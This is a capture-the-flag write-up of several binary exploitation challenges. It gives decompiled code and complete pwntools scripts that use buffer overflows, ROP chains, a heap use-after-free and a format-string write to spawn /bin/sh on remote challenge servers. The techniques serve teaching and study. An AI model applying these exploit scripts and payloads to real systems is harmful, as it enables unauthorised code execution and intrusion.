Navigate the shadows in a dimly lit room, silently evading detection as you strategize to outsmart your foes. Employ clever distractions to divert their attention, paving the way for your daring escape!
Initial Analysis
In this challenge, we were given a binary called sound_of_silence. Let’s try to disassemble the binary.
1
2
3
4
5
6
7
int__cdeclmain(intargc,constchar**argv,constchar**envp){charv4[32];// [rsp+0h] [rbp-20h] BYREF
system("clear && echo -n '~The Sound of Silence is mesmerising~\n\n>> '");returngets(v4,argv);}
As we can see, this challenge involves another buffer overflow vulnerability. Let’s examine the binary’s mitigations:
1
2
3
4
5
6
╰─❯ checksec sound_of_silence
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can see that it is a No PIE binary, which means we don’t need an address leak to exploit it. Let’s move on to crafting the solution.
Solution
First, we examine the disassembled code of the main function.
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
endbr64pushrbpmovrbp,rspsubrsp,20hlearax,command;"clear && echo -n '~The Sound of Silence"...movrdi,rax;commandcall_systemlearax,[rbp+var_20]movrdi,raxmoveax,0call_getsnopleaveretn
We notice an instruction mov rdi, rax; call _system. Next, we observe the register values in gdb just before our program executes the ret instruction.
It appears that rax is pointing to the address of our input. This means that if we start our payload with /bin/sh\x00, and use the buffer overflow vulnerability to overwrite the return address with the address of the instruction mov rdi, rax; call _system, then rdi will point to the string /bin/sh\x00, allowing us to easily get a shell without needing any libc leak.
Below is the full script I used to solve this challenge:
frompwnimport*context.terminal=['wezterm.exe','cli','split-pane','--right','--percent','65']remote_url='94.237.54.161'remote_port=32566gdbscript='''
b *main+46
'''defconn():ifargs.LOCAL:r=process(['./sound_of_silence'])ifargs.PLT_DEBUG:gdb.attach(r,gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnrexe=ELF('./sound_of_silence')r=conn()menu_delim=b'> 'deflogleak(name,val):info(name+' = %#x'%val)defsa(delim,data):returnr.sendafter(delim,data)defsla(delim,line):returnr.sendlineafter(delim,line)defsl(line):returnr.sendline(line)defso(data):returnr.send(data)defsn(num):returnstr(num).encode()defmenu(num):returnsla(menu_delim,sn(num))mov_rdi_rax_call_system=0x401169payload=b'/bin/sh'.ljust(0x20,b'\x00')payload+=p64(exe.bss()+0x50)payload+=p64(mov_rdi_rax_call_system)# rax is still pointing to the address of our payloadsla(b'>>',payload)r.interactive()
Flag: HTB{n0_n33d_4_l34k5_wh3n_u_h4v3_5y5t3m}
Deathnote [medium]
Description
You stumble upon a mysterious and ancient tome, said to hold the secret to vanquishing your enemies. Legends speak of its magic powers, but cautionary tales warn of the dangers of misuse.
Initial Analysis
In this challenge, we were given a binary named deathnote. Let’s try to disassemble the binary.
unsigned__int64__fastcalladd(__int64a1){unsigned__int8v2;// [rsp+15h] [rbp-1Bh]
unsigned__int16num;// [rsp+16h] [rbp-1Ah]
unsigned__int64v4;// [rsp+18h] [rbp-18h]
v4=__readfsqword(0x28u);get_empty_note(a1);printf(aHowBigIsYourRe);num=read_num();if(num>1u&&num<=0x80u){printf(aPage);v2=read_num();if((unsigned__int8)check_idx(v2)==1){*(_QWORD*)(8LL*v2+a1)=malloc(num);printf(aNameOfVictim);read(0,*(void**)(8LL*v2+a1),num-1);printf("%s\n[!] The fate of the victim has been sealed!%s\n\n","\x1B[1;33m","\x1B[1;36m");}}else{error("Don't play with me!\n");}returnv4-__readfsqword(0x28u);}
The first is a typical add function. We can allocate a chunk of up to 0x80 in size and populate it. This chunk is then stored in an array located in the main function’s stack. We’ll refer to this array as pages.
The third function enables us to delete a chosen chunk by freeing it. However, there’s a bug here: after freeing the chunk, it’s not removed from the array, leading to a Use-After-Free (UAF) vulnerability.
Additionally, a hidden function is discovered, named _.
unsigned__int64__fastcall_(__int64a1){void(__fastcall*v2)(_QWORD);// [rsp+18h] [rbp-18h]
unsigned__int64v3;// [rsp+28h] [rbp-8h]
v3=__readfsqword(0x28u);puts("\x1B[1;33m");cls();printf(asc_2750,"\x1B[1;31m","\x1B[1;33m","\x1B[1;31m","\x1B[1;33m","\x1B[1;36m");v2=(void(__fastcall*)(_QWORD))strtoull(*(constchar**)a1,0LL,16);if(v2||**(_BYTE**)a1=='0'||*(_BYTE*)(*(_QWORD*)a1+1LL)=='x'){if(!*(_QWORD*)a1||!*(_QWORD*)(a1+8)){error("What you are trying to do is unacceptable!\n");exit(1312);}puts(aExecuting);v2(*(_QWORD*)(a1+8));}else{puts("Error: Invalid hexadecimal string");}returnv3-__readfsqword(0x28u);}
This function reads the content of the first entry in the array that stores the page added via the add() function. It will:
Interpret the string stored in pages[0] as hexadecimal, then convert it into a hexadecimal number.
Execute it by passing the value stored in pages[1] as the argument.
This functionality essentially allows us to execute pages[0](pages[1]), meaning if we can place a valid function address in pages[0], we can achieve code execution.
Now that we know the bug, let’s move to the exploitation part.
Solution
The strategy involves exploiting the Use-After-Free vulnerability to leak libc addresses. We’ll fill the tcachebins[0x90] with up to 7 entries, so the eighth free operation moves the chunk to the unsortedbin, causing the freed chunk to contain a pointer to a libc address.
By using the show function, due to the UAF, we can view the content of this eighth freed chunk, enabling us to leak a libc address. Next, with the add functionality, we set pages[0] to the hexadecimal string representation of system, set pages[1] to the string /bin/sh, and invoke the _ function to trigger code execution.
frompwnimport*exe=ELF("deathnote_patched")libc=ELF("./libc.so.6")ld=ELF("./ld-linux-x86-64.so.2")context.binary=execontext.arch='amd64'context.encoding='latin'context.log_level='INFO'context.terminal=['wezterm.exe','cli','split-pane','--right','--percent','65']warnings.simplefilter("ignore")remote_url="83.136.249.57"remote_port=30276gdbscript='''
b *_+296
'''defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:gdb.attach(r,gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnrr=conn()menu_delim=b'\xf0\x9f\x92\x80 'deflogbase():info('libc.address = %#x'%libc.address)deflogleak(name,val):info(name+' = %#x'%val)defsa(delim,data):returnr.sendafter(delim,data)defsla(delim,line):returnr.sendlineafter(delim,line)defsl(line):returnr.sendline(line)defso(data):returnr.send(data)defsn(num):returnstr(num).encode()defmenu(num):returnsla(menu_delim,sn(num))defadd(sz,idx,val):menu(1)sla(menu_delim,sn(sz))sla(menu_delim,sn(idx))sla(menu_delim,val)defdelete(idx):menu(2)sla(menu_delim,sn(idx))defshow(idx):menu(3)sla(menu_delim,sn(idx))r.recvuntil(b'content: ')returnr.recvline().strip()# Allocate 9 chunksforiinrange(9):info(f'add-{i}')add(0x80,i,b'/bin/sh\x00')# Fulfill tcacheforiinrange(7):info(f'del-{i}')delete(i)# This free will put the freed chunk to unsorted bininfo(f'del-{7}')delete(7)# With the UAF bug, use `show()` to get a libc leakinfo(f'leak...')libc.address=u64(show(7)[:6].ljust(8,b'\x00'))-(libc.symbols['main_arena']+96)logleak('libc.address',libc.address)logleak('system',libc.sym.system)# Setup pages[0] and pages[1], then trigger the `_` funcadd(0x50,0,hex(libc.sym.system)[2:].encode())add(0x50,1,b'/bin/sh\x00')# Execute pages[0](pages[1])menu(42)r.interactive()
Flag: HTB{0m43_w4_m0u_5h1nd31ru~uWu}
Rocket Blaster XXX [easy]
Description
Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!
Initial Analysis
In this challenge, we were given a binary named rocket_blaster_xxx. Let’s try to disassemble the binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int__cdeclmain(intargc,constchar**argv,constchar**envp){__int64buf[4];// [rsp+0h] [rbp-20h] BYREF
banner(argc,argv,envp);memset(buf,0,sizeof(buf));fflush(_bss_start);printf("\n""Prepare for trouble and make it double, or triple..\n""\n""You need to place the ammo in the right place to load the Rocket Blaster XXX!\n""\n"">> ");fflush(_bss_start);read(0,buf,0x66uLL);puts("\nPreparing beta testing..");return0;}
As you can see, there is an obvious buffer overflow bug again. Let’s check the binary mitigation.
1
2
3
4
5
6
╰─❯ checksec rocket_blaster_xxx
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can see that the binary is No PIE, meaning that we can extract some gadgets from the binary and use it without any leak. Based on these two information, we can start crafting our exploit.
Solution
Upon checking through the gadgets with ropr, we can see two interesting gadgets:
1
2
0x0040159d: pop rsi; ret;
0x0040159f: pop rdi; ret;
Using these two gadgets, we can do ROP chain leveraging the buffer overflow bug. The first ROP chain is we will control the program execution flow so that it will:
Call puts(puts_got) to get a libc leak.
Return back to main, so that we can trigger once again the buffer overflow
frompwnimport*exe=ELF("rocket_blaster_xxx_patched")libc=ELF("./libc.so.6")ld=ELF("./ld-linux-x86-64.so.2")context.binary=execontext.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")remote_url="94.237.54.183"remote_port=41539gdbscript='''
'''defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:gdb.attach(r,gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnrr=conn()menu_delim=b'> 'deflogbase():info('libc.address = %#x'%libc.address)deflogleak(name,val):info(name+' = %#x'%val)defsa(delim,data):returnr.sendafter(delim,data)defsla(delim,line):returnr.sendlineafter(delim,line)defsl(line):returnr.sendline(line)defso(data):returnr.send(data)defsn(num):returnstr(num).encode()defmenu(num):returnsla(menu_delim,sn(num))pop_rdi=0x000000000040159fpop_rsi=0x000000000040159d# 1st ROP: Leak libc via puts, then return back to mainpayload=b'a'*0x20payload+=p64(exe.bss()+0x100)payload+=p64(pop_rdi)payload+=p64(exe.got.puts)payload+=p64(exe.plt.puts)payload+=p64(exe.sym.main)sla(b'>> ',payload)r.recvuntil(b'\nPreparing beta testing..\n')libc.address=u64(r.recv(6).ljust(8,b'\x00'))-libc.sym.putslogleak('libc.address',libc.address)# 2nd ROP: Call system("/bin/sh")payload=b'a'*0x20payload+=p64(exe.bss()+0x100)payload+=p64(pop_rdi+1)payload+=p64(pop_rdi)payload+=p64(next(libc.search(b'/bin/sh\x00')))payload+=p64(libc.sym.system)sla(b'>> ',payload)r.interactive()
Flag: HTB{b00m_b00m_r0ck3t_2_th3_m00n}
Pet Companion [easy]
Description
Embark on a journey through this expansive reality, where survival hinges on battling foes. In your quest, a loyal companion is essential. Dogs, mutated and implanted with chips, become your customizable allies. Tailor your pet’s demeanor—whether happy, angry, sad, or funny—to enhance your bond on this perilous adventure.
Initial Analysis
In this challenge, we were given a binary named pet_companion. Let’s try to disassemble the binary.
1
2
3
4
5
6
7
8
9
10
11
int__cdeclmain(intargc,constchar**argv,constchar**envp){__int64buf[8];// [rsp+0h] [rbp-40h] BYREF
setup(argc,argv,envp);memset(buf,0,sizeof(buf));write(1,"\n[!] Set your pet companion's current status: ",0x2EuLL);read(0,buf,0x100uLL);write(1,"\n[*] Configuring...\n\n",0x15uLL);return0;}
There is an obvious buffer overflow in here. Another thing to check is the binary mitigation.
1
2
3
4
5
6
╰─❯ checksec pet_companion
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can see that the binary is No PIE, meaning that we can extract some gadgets from the binary and use it without any leak. Based on these two information, we can start crafting our exploit.
Solution
Upon checking through the gadgets with ropr, we can see two interesting gadgets:
1
2
0x00400741: pop rsi; pop r15; ret;
0x00400743: pop rdi; ret;
Using these two gadgets, we can do ROP chain leveraging the buffer overflow bug. The first ROP chain is we will control the program execution flow so that it will:
Call write to leak the read got address.
Return back to main, so that we can trigger once again the buffer overflow
frompwnimport*exe=ELF("pet_companion_patched")libc=ELF("./libc.so.6")ld=ELF("./ld-linux-x86-64.so.2")context.binary=execontext.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")remote_url="94.237.56.248"remote_port=44146gdbscript='''
'''defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:gdb.attach(r,gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnrr=conn()menu_delim=b'> 'deflogbase():info('libc.address = %#x'%libc.address)deflogleak(name,val):info(name+' = %#x'%val)defsa(delim,data):returnr.sendafter(delim,data)defsla(delim,line):returnr.sendlineafter(delim,line)defsl(line):returnr.sendline(line)defso(data):returnr.send(data)defsn(num):returnstr(num).encode()defmenu(num):returnsla(menu_delim,sn(num))pop_rdi=0x0000000000400743pop_rsi_r15=0x0000000000400741# 1st ROP: Leak read via write, then back to mainpayload=b'a'*0x40payload+=p64(exe.bss()+0x100)payload+=p64(pop_rsi_r15)payload+=p64(exe.got.read)payload+=p64(0)payload+=p64(exe.plt.write)payload+=p64(exe.sym.main)sla(b': ',payload)r.recvuntil(b'Configuring...\n\n')libc.address=u64(r.recv(6).ljust(8,b'\x00'))-libc.sym.readlogleak('libc.address',libc.address)# 2nd ROP: Execute system("/bin/sh")payload=b'a'*0x40payload+=p64(exe.bss()+0x100)payload+=p64(pop_rdi)payload+=p64(next(libc.search(b'/bin/sh\x00')))payload+=p64(libc.sym.system)sla(b': ',payload)r.interactive()
Flag: HTB{c0nf1gur3_w3r_d0g}
Writing on the Wall [very easy]
Description
As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door’s secrets?
Initial Analysis
In this challenge, we were given a binary named writing_on_the_wall. Let’s try to disassemble the binary.
int__cdeclmain(intargc,constchar**argv,constchar**envp){charbuf[6];// [rsp+Ah] [rbp-16h] BYREF
chars2[8];// [rsp+10h] [rbp-10h] BYREF
unsigned__int64v6;// [rsp+18h] [rbp-8h]
v6=__readfsqword(0x28u);*(_QWORD*)s2='ssapt3w';read(0,buf,7uLL);if(!strcmp(buf,s2))open_door();elseerror("You activated the alarm! Troops are coming your way, RUN!\n");return0;}unsigned__int64open_door(){charbuf;// [rsp+3h] [rbp-Dh] BYREF
intfd;// [rsp+4h] [rbp-Ch]
unsigned__int64v3;// [rsp+8h] [rbp-8h]
v3=__readfsqword(0x28u);fd=open("./flag.txt",0);if(fd<0){perror("\nError opening flag.txt, please contact an Administrator.\n");exit(1);}printf("You managed to open the door! Here is the password for the next one: ");while(read(fd,&buf,1uLL)>0)fputc(buf,_bss_start);close(fd);returnv3-__readfsqword(0x28u);}
The objective here is to circumvent the strcmp(buf, s2) check, thereby activating the open_door() function, which consequently reveals the flag. The underlying issue lies in the fact that the buf size is actually 0x6, presenting an opportunity for a one-byte overflow, which can be leveraged to modify the first character of s2.
Solution
To tackle this challenge, sending b'\x00'*7 as the input effectively sets the first character of s2 to a NULL-terminator. As a result, the strcmp(buf, s2) operation compares two NULL strings, successfully bypassing the condition.
int__cdeclmain(intargc,constchar**argv,constchar**envp){__int64v4[2];// [rsp+0h] [rbp-40h] BYREF
__int64buf[6];// [rsp+10h] [rbp-30h] BYREF
buf[5]=__readfsqword(0x28u);v4[0]=0x1337BABELL;v4[1]=(__int64)v4;memset(buf,0,32);read(0,buf,0x1FuLL);printf("\n[!] Checking.. ");printf((constchar*)buf);if(v4[0]==0x1337BEEF)delulu();elseerror("ALERT ALERT ALERT ALERT\n");return0;}unsigned__int64delulu(){charbuf;// [rsp+3h] [rbp-Dh] BYREF
intfd;// [rsp+4h] [rbp-Ch]
unsigned__int64v3;// [rsp+8h] [rbp-8h]
v3=__readfsqword(0x28u);fd=open("./flag.txt",0);if(fd<0){perror("\nError opening flag.txt, please contact an Administrator.\n");exit(1);}printf("You managed to deceive the robot, here's your new identity: ");while(read(fd,&buf,1uLL)>0)fputc(buf,_bss_start);close(fd);returnv3-__readfsqword(0x28u);}
Based on reading the above code, we can see that the objective is to modify the value of v4[0] from 0x1337BABE to 0x1337BEEF. This change triggers the delulu() function, which in turn, prints the flag. Notably, the binary contains a format string vulnerability. Additionally, it’s observed that v4[1] holds the address of v4[0], the exact location we aim to manipulate.
Solution
To exploit this challenge, leveraging the format string vulnerability is key. Through manual inspection, %7$p reveals the value of v4[1], which is effectively v4[0]. To precisely overwrite the last two bytes of v4[0], sending the input %48879c%7$hn to the challenge suffices. The directive %48879c generates 0xBEEF worth of space characters, followed by %7$hn which alters the referenced address value (in this instance, v4[0]) to match the count of characters printed so far (which amounts to 0xBEEF characters). Successfully executing this sequence overwrites v4[0], enabling us to retrieve the flag.